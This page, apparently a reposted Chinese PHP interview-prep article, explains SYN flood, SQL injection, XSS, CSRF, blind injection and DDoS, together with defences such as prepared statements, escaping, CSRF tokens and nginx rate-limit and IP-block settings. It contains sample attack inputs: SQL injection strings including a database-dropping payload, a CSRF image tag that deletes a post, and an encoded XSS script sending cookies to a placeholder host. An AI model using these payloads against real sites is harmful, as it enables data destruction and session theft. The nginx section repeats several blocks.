IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php之攻击篇 -> 正文阅读

[PHP知识库]php之攻击篇

SYN攻击

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,
通过发送大量的半连接请求,耗费CPU和内存资源。 SYN攻击
除了能影响主机外,还可以危害路由器、
防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,
 只要这些系统
打开TCP服务就可以实施

sql注入篇

5 sql注入?【高频】
sql注入产生的原因其实还是没有对输入输出进行安全过滤的问题,后台的直接将用户的输入当做了sql语句的一部
分,然后就直接执行了,导致用户对sql语句可控。
$arg = $_POST['user_name'];
//$arg = 1' or user_name='无辜用户'
//$arg = 1'; 'drop databases
$sql = " select *from user where user_name = '$arg' ";
$sql = " select *from user where user_name = '1' or user_name='无辜用户' ";
$sql = " select *from user where user_name = '1'; 'drop databases' ";
#这里执行sql语句
预防:
1、不要随意开启生产环境中Webserver的错误显示。 2、永远不要信任来自用户端的变量输入,有固定格式的变量
一定要严格检查对应的格式,没有固定格式的变量需要对引号等特殊字符进行必要的过滤转义。 3、使用预编译绑定
变量的SQL语句,如php的PDO预编译和mysqli预编译等。【最有效】 4、做好数据库帐号权限管理。 5、严格加密
处理用户的机密信息。

什么是xss攻击?如何预防?【高频】


1、什么是xss攻击?
跨站脚本攻击,xss其实也算是注入的一种,只不过属于html/js注入,注入类漏洞的都是没有对用户输入输出进行安
全处理导致的。而csrf的话更有一种隐藏在黑暗中的刺客的感觉,而且是借刀杀人的那种,这里借的刀就是用户的会
话状态(或者说cookie?,举一个例子,比如你请求了一个带有csrf漏洞的普通页面,可能这个页面中就有这么一段
代码<img src=http://www.xxx.com?action=del&id=2>这段代码就悄悄地去请求了你的博客(www.xxx.com),并
且删除了id为2的文章
2、如何预防?
预防思路
web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理 后台输出页面的时候,也需要对输出内容进行
转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库) 前端对 html 标签属性、css 属性赋值的地
方进行校验
注意:
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E

盲注与普通注入

 听过盲注吗,解释一下,和报错注入、普通注入的区别?
盲注是猜测,然后验证
报错注入是故意填错,然后看到报错信息里面的关键信息
普通注入就是拼接恶意sql
8.什么是CSRF攻击?如何预防?【高频】
CSRF(Cross-site request forgery)也被称为 one-click attack或者 session riding,中文全称是叫跨站请求伪造。
一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站
接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的
验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿
下的操作行为。
1. 验证请求的来源站点
在服务器端验证请求的来源站点。因为CSRF攻击大多数都是来自第三方站点。
通过http请求头中的Referer和Origin属性
referer属性
记录了该http请求的来源地址,但有些场景不适合将来源URL暴露给服务器,所以可以设置不用上传,并且referer属
性是可以修改的,所以在服务器端校验referer属性并没有那么可靠
origin属性
通过XMLHttpRequest、Fetch发起的跨站请求或者Post方法发送请求时,都会带上origin,所以服务器可以优先判断
Origin属性,再根据实际情况判断是否使用referer判断。
2. CSRF Token
除了上面两个方法之外,还可以使用CSRF Token来验证。
在浏览器向服务器发起请求时,服务器生成一个CSRF Token(字符串)发送给浏览器,然后将该字符串放入页
面中
浏览器请求时(如表单提交)需要带上这个CSRF Token。服务器收到请求后,验证CSRF是否合法,如果不合法
拒绝即可。
相关接口网关只容许信任站点进来请求
3、要求用户输入验证码,比如手机短信验证码
9 DDOS(分布式拒绝服务)是什么,如何预防?
ddos资料:
5.5.1 ddos 是什么
通俗的例子:
我开了一家餐厅,正常情况下,最多可以容纳100个人同时进餐。你直接走进餐厅,找一张桌子坐下点餐,马
上就可以吃到东西。
很不幸,我得罪了一个流氓。他派出1000个人同时涌进餐厅。这些人看上去跟正常的顾客一样,每个都说”赶
快上餐”。但是,餐厅的容量只有100个人,根本不可能同时满足这么多的点餐需求,加上他们把门口都堵死
了,里三层外三层,正常用餐的客人根本进不来,实际上就把餐厅瘫痪了。
这就是 DDoS 攻击,它在短时间内发起大量请求,耗尽服务器的资源,无法响应正常的访问,造成网站实质下
线。
DDoS 里面的 DoS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面
的那个 Ddistributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防。你关了前
门,他从后门进来;你关了后门,他从窗口跳起来。
5.1 DDoS攻击如何工作?
DDoS攻击需要攻击者控制在线计算机网络才能进行攻击。计算机和其他计算机(如物联网设备)感染了恶意软件,
将每个计算机转变为机器人(或僵尸)。然后,攻击者可以远程控制僵尸程序组,这称为僵尸网络。
一旦僵尸网络建立,攻击者就可以通过远程控制方法向每个机器人发送更新的指令来指导机器。当受害者的IP地址被
僵尸网络作为目标时,每个僵尸程序将通过向目标发送请求来响应,可能导致目标服务器或网络溢出容量,从而导致
对正常流量的拒绝服务。由于每个机器人都是合法的Internet设备,因此将攻击流量与正常流量分开可能很困难。
单个HTTP请求在客户端执行起来很便宜,并且目标服务器响应起来可能很昂贵,因为服务器通常必须加载多个文件
并运行数据库查询才能创建网页。
5.3 DDOS攻击的特征
攻击经常来源于一些相对固定的IPIP段,每个IP都有远大于真实用户的连接数和请求数。
备注:这并不表明这种请求都是代表着DDOS攻击。在很多使用NAT的网络架构中,很多的客户端使用网关的IP
地址访问公网资源。但是,即便如此,这样的请求数和连接数也会远少于DDOS攻击。
因为攻击是由木马发出且目的是使服务器超负荷,请求的频率会远远超过正常人的请求。
User-Agent通常是一个非标准的值
伪造的ip是骗不过tcp的,能骗过udp
5.4 DDoS防御的方法
硬件防火墙,充足的网络,升级主机服务器硬件,安装专业抗DDOS防火墙(安全狗,360卫士),备份网站,部署
CDN(一旦上了 CDN,千万不要泄露源服务器的 IP 地址,否则攻击者可以绕过 CDN 直接攻击源服务器),购买高
防 IP(网站域名指向高防 IP,它提供一个缓冲层,清洗流量,并对源服务器的内容进行缓存),企业级 DDoS 清洗
系统架构,启用基于 sysctl 的保护,分层解决方案。
以上就是传说中的技术不够,用钱凑。
其它方法及注意事项:
使用 CSF,iptables,UFWAPF 等软件防火墙
服务器上没用的端口一定要关掉,只对外网开放80等端口,有些重要端口,比如mysql的3306,只对指定ip白名单
(公司内部服务器的ip地址)提供访问权限。
防止伪造IP:伪造是修改数据包。使用tcp而不是udp,TCP无法伪造IP,因为需要三次握手,比较安全;UDP可以伪
造。tcp必须使用代理ip,攻击者攻击成本高。
5.5 nginx防御DDOS
限制每个IP的请求速度
设置Nginx、Nginx Plus的连接请求在一个真实用户请求的合理范围内。比如,如果你觉得一个正常用户每两秒可以
请求一次登录页面,你就可以设置Nginx每两秒钟接收一个客户端IP的请求(大约等同于每分钟30个请求)。

limit_req_zone $binary_remote_addr zone=one:10m rate=60r/m;
server {
...
location /login.html {
limit_req zone=one;
...
}
}
limit_req_zone 命令设置了一个叫one的共享内存区来存储请求状态的特定键值,在上面的例子中是客户端
IP($binary_remote_addr)。location块中的 limit_req 通过引用one共享内存区来实现限制访问/login.html的目
的。
限制连接数量
设置Nginx、Nginx Plus的连接数在一个真实用户请求的合理范围内。比如,你可以设置每个客户端IP连接/store不
可以超过10个。
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
...
location /store/ {
limit_conn addr 10;
...
}
}
limit_conn_zone 命令设置了一个叫addr的共享内存区来存储特定键值的状态,在上面的例子中是客户端IP$binary_remote_addr)。location块中 limit_conn 通过引用addr共享内存区来限制到/store/的最大连接数为10。
关闭慢连接
有一些DDOS攻击,比如Slowlris,是通过建立大量的连接并周期性的发送一些数据包保持会话来达到攻击目的,这
种周期通常会低于正常的请求。这种情况我们可以通过关闭慢连接来抵御攻击。
client_body_timeout 命令用来定义读取客户端请求的超时时间, client_header_timeout 命令用来定于读取客
户端请求头的超时时间。这两个参数的默认值都是60s,我们可以通过下面的命令将他们设置为5s:
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
设置IP黑名单
你确定攻击来源于123.123.123.3123.123.123.5123.123.123.7几个IP,可以这样设置:
设置IP白名单
如果你的网站仅允许特定的IPIP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的
网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:
deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。
使用缓存进行流量削峰
通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求
压力。以下是一些有用的设置:
proxy_cache_use_stale 的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新
请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻
击时,缓存功能可极大的降低到后端服务器的请求。
proxy_cache_key 命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri
包含了三个变量)。如果键值包含 $query_string 变量,当攻击的请求字符串是随机的时候就会给Nginx代理
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
location / {
deny 123.123.123.3;
deny 123.123.123.5;
deny 123.123.123.7;
...
}
设置IP白名单
如果你的网站仅允许特定的IPIP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的
网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:
deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。
使用缓存进行流量削峰
通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求
压力。以下是一些有用的设置:
proxy_cache_use_stale 的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新
请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻
击时,缓存功能可极大的降低到后端服务器的请求。
proxy_cache_key 命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri
包含了三个变量)。如果键值包含 $query_string 变量,当攻击的请求字符串是随机的时候就会给Nginx代理
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
location / {
deny 123.123.123.3;
deny 123.123.123.5;
deny 123.123.123.7;
...
}
location / {
allow 192.168.1.0/24;
deny all;
...
}
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-14 20:53:46  更:2022-02-14 20:55:35 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 11:52:15-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码